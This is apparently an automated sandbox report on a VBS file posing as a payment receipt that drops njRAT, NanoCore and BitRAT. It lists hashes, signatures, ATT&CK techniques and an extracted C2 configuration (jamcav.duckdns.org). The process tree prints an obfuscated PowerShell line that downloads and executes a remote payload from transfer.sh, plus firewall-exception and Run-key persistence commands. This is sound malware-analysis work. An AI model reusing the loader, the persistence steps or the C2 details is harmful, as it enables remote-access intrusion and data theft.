bitrat | a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532

General

Target

8XN2B1_Payment_Receipt.vbs
Size

552B
MD5

7578770adaa094d49594be394effcb3b
SHA1

8d919e1d10a590babbb1e88707f41b5653080cba
SHA256

a9459089985852c3661d048010c4661523b904cd94f31fb245ca7d75ab220532
SHA512

363d36082d2be9e50ee113e7061ae1ecbd1096ab21d71e900281d94f7bfc34a546e3e15b42a95f03542dd8ceed0c0d6ce22ed36c7afba4e6344cdeeffc03593a

Score

10^/10

bitrat nanocore njrat hacked evasion keylogger persistence spyware stealer suricata trojan upx

Malware Config

Extracted

Family

njrat

Version

1.9

Botnet

HacKed

Mutex

Microsoft.Exe

Attributes

reg_key
Microsoft.Exe

Extracted

Family

nanocore

Version

1.2.2.0

C2

jamcav.duckdns.org:6746

Mutex

9bb8b571-1a08-4fb2-8447-a1da0968f2fa

Attributes

activate_away_mode
true
backup_connection_host
jamcav.duckdns.org
backup_dns_server
8.8.4.4
buffer_size
65535
build_time
2021-08-20T15:54:30.577245636Z
bypass_user_account_control
true
bypass_user_account_control_data
clear_access_control
true
clear_zone_identifier
false
connect_delay
4000
connection_port
6746
default_group
jam
enable_debug_mode
true
gc_threshold
1.048576e+07
keep_alive_timeout
30000
keyboard_logging
false
lan_timeout
2500
max_packet_size
1.048576e+07
mutex
9bb8b571-1a08-4fb2-8447-a1da0968f2fa
mutex_timeout
5000
prevent_system_sleep
false
primary_connection_host
jamcav.duckdns.org
primary_dns_server
8.8.8.8
request_elevation
true
restart_delay
5000
run_delay
0
run_on_startup
true
set_critical_process
true
timeout_interval
5000
use_custom_dns_server
false
version
1.2.2.0
wan_timeout
8000

Signatures

BitRAT
BitRAT is a remote access tool written in C++ and uses leaked source code from other families.
trojan bitrat

BitRAT Payload 2 IoCs

Processes:

resource	yara_rule
behavioral2/memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat
behavioral2/memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmp	family_bitrat

NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata: ET MALWARE Generic njRAT/Bladabindi CnC Activity (ll)
suricata
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata: ET MALWARE Observed Malicious SSL Cert (BitRAT CnC)
suricata
suricata: ET MALWARE Possible NanoCore C2 60B
suricata: ET MALWARE Possible NanoCore C2 60B
suricata
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

11 488 powershell.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031

flow	pid	process
11	488	powershell.exe

UPX packed file 3 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/2596-148-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmp	upx
behavioral2/memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmp	upx

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

jsc.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-1042495040-510797905-2613508344-1000\Software\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Microsoft.Exe = "\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\jsc.exe\" .."	jsc.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs

Processes:

jsc.exe

pid process

2596 jsc.exe
2596 jsc.exe
2596 jsc.exe
2596 jsc.exe
2596 jsc.exe

pid	process
2596	jsc.exe
2596	jsc.exe
2596	jsc.exe
2596	jsc.exe
2596	jsc.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

powershell.exe

description	pid	process	target process
PID 488 set thread context of 2596	488	powershell.exe	jsc.exe
PID 488 set thread context of 2644	488	powershell.exe	jsc.exe
PID 488 set thread context of 1340	488	powershell.exe	jsc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exejsc.exe

pid process

488 powershell.exe
488 powershell.exe
488 powershell.exe
1340 jsc.exe
1340 jsc.exe
1340 jsc.exe
1340 jsc.exe
1340 jsc.exe
1340 jsc.exe
Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

jsc.exe

pid process

1340 jsc.exe

pid	process
488	powershell.exe
488	powershell.exe
488	powershell.exe
1340	jsc.exe
1340	jsc.exe
1340	jsc.exe
1340	jsc.exe
1340	jsc.exe
1340	jsc.exe

pid	process
1340	jsc.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exejsc.exejsc.exejsc.exe

description	pid	process
Token: SeDebugPrivilege	488	powershell.exe
Token: SeDebugPrivilege	1340	jsc.exe
Token: SeShutdownPrivilege	2596	jsc.exe
Token: SeDebugPrivilege	2644	jsc.exe
Token: 33	2644	jsc.exe
Token: SeIncBasePriorityPrivilege	2644	jsc.exe
Token: 33	2644	jsc.exe
Token: SeIncBasePriorityPrivilege	2644	jsc.exe
Token: 33	2644	jsc.exe
Token: SeIncBasePriorityPrivilege	2644	jsc.exe
Token: 33	2644	jsc.exe
Token: SeIncBasePriorityPrivilege	2644	jsc.exe

Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

jsc.exe

pid process

2596 jsc.exe
2596 jsc.exe

pid	process
2596	jsc.exe
2596	jsc.exe

Suspicious use of WriteProcessMemory 28 IoCs

Processes:

WScript.exepowershell.exejsc.exe

description	pid	process	target process
PID 1000 wrote to memory of 488	1000	WScript.exe	powershell.exe
PID 1000 wrote to memory of 488	1000	WScript.exe	powershell.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2596	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 2644	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 488 wrote to memory of 1340	488	powershell.exe	jsc.exe
PID 2644 wrote to memory of 1264	2644	jsc.exe	netsh.exe
PID 2644 wrote to memory of 1264	2644	jsc.exe	netsh.exe
PID 2644 wrote to memory of 1264	2644	jsc.exe	netsh.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8XN2B1_Payment_Receipt.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1000

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $ChiptEch=('{2}{1}{0}{3}{4}' -f'bC','WE','NEt.','liE','nt'); $FrEq=('{3}{0}{1}{2}' -f'load','Str','ing','Down'); $sysinfo=('{2}{0}{1}' -f'E','X','I'); &('I'+'EX')(N`Ew-Ob`jE`ct $ChiptEch).$FrEq('https://transfer.sh/get/itIqsM/bypa.txt')
2⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:488

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2596

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2644

C:\Windows\SysWOW64\netsh.exe
netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" "jsc.exe" ENABLE
4⤵
PID:1264

C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe"
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
PID:1340

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/488-164-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-119-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-120-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-121-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-122-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-123-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-124-0x0000020420A60000-0x0000020420A61000-memory.dmp

Filesize
4KB

Download
memory/488-125-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-126-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-128-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-127-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-129-0x000002043AF40000-0x000002043AF41000-memory.dmp

Filesize
4KB

Download
memory/488-130-0x000002041EE90000-0x000002041EE92000-memory.dmp

Filesize
8KB

Download
memory/488-134-0x0000020420880000-0x0000020420882000-memory.dmp

Filesize
8KB

Download
memory/488-135-0x0000020420883000-0x0000020420885000-memory.dmp

Filesize
8KB

Download
memory/488-136-0x0000020420886000-0x0000020420888000-memory.dmp

Filesize
8KB

Download
memory/488-147-0x000002043AED0000-0x000002043AED4000-memory.dmp

Filesize
16KB

Download
memory/488-118-0x0000000000000000-mapping.dmp

Download
memory/1264-175-0x0000000000000000-mapping.dmp

Download
memory/1340-177-0x0000000006CE0000-0x0000000006CED000-memory.dmp

Filesize
52KB

Download
memory/1340-174-0x0000000005870000-0x0000000005D6E000-memory.dmp

Filesize
5.0MB

Download
memory/1340-188-0x0000000006E00000-0x0000000006E0F000-memory.dmp

Filesize
60KB

Download
memory/1340-187-0x0000000006DC0000-0x0000000006DE9000-memory.dmp

Filesize
164KB

Download
memory/1340-186-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

Filesize
40KB

Download
memory/1340-185-0x0000000006D90000-0x0000000006D9F000-memory.dmp

Filesize
60KB

Download
memory/1340-184-0x0000000006D80000-0x0000000006D82000-memory.dmp

Filesize
8KB

Download
memory/1340-161-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/1340-162-0x000000000041E792-mapping.dmp

Download
memory/1340-183-0x0000000006D70000-0x0000000006D7D000-memory.dmp

Filesize
52KB

Download
memory/1340-169-0x0000000005830000-0x0000000005831000-memory.dmp

Filesize
4KB

Download
memory/1340-170-0x0000000005870000-0x0000000005D6E000-memory.dmp

Filesize
5.0MB

Download
memory/1340-171-0x0000000005900000-0x0000000005905000-memory.dmp

Filesize
20KB

Download
memory/1340-172-0x0000000005C00000-0x0000000005C19000-memory.dmp

Filesize
100KB

Download
memory/1340-173-0x0000000005D50000-0x0000000005D53000-memory.dmp

Filesize
12KB

Download
memory/1340-182-0x0000000006D60000-0x0000000006D67000-memory.dmp

Filesize
28KB

Download
memory/1340-181-0x0000000006D50000-0x0000000006D56000-memory.dmp

Filesize
24KB

Download
memory/1340-180-0x0000000006D40000-0x0000000006D4C000-memory.dmp

Filesize
48KB

Download
memory/1340-179-0x0000000006D30000-0x0000000006D36000-memory.dmp

Filesize
24KB

Download
memory/1340-178-0x0000000006CF0000-0x0000000006D05000-memory.dmp

Filesize
84KB

Download
memory/2596-148-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/2596-149-0x00000000007E2730-mapping.dmp

Download
memory/2596-150-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/2596-156-0x0000000000400000-0x00000000007E4000-memory.dmp

Filesize
3.9MB

Download
memory/2644-176-0x0000000005850000-0x0000000005D4E000-memory.dmp

Filesize
5.0MB

Download
memory/2644-152-0x0000000000400000-0x0000000000410000-memory.dmp

Filesize
64KB

Download
memory/2644-159-0x0000000006250000-0x0000000006251000-memory.dmp

Filesize
4KB

Download
memory/2644-158-0x0000000005D50000-0x0000000005D51000-memory.dmp

Filesize
4KB

Download
memory/2644-157-0x00000000057B0000-0x00000000057B1000-memory.dmp

Filesize
4KB

Download
memory/2644-153-0x000000000040BBCE-mapping.dmp

Download
memory/2644-189-0x00000000062F0000-0x00000000062F1000-memory.dmp

Filesize
4KB

Download
memory/2644-191-0x00000000065E0000-0x00000000065E1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads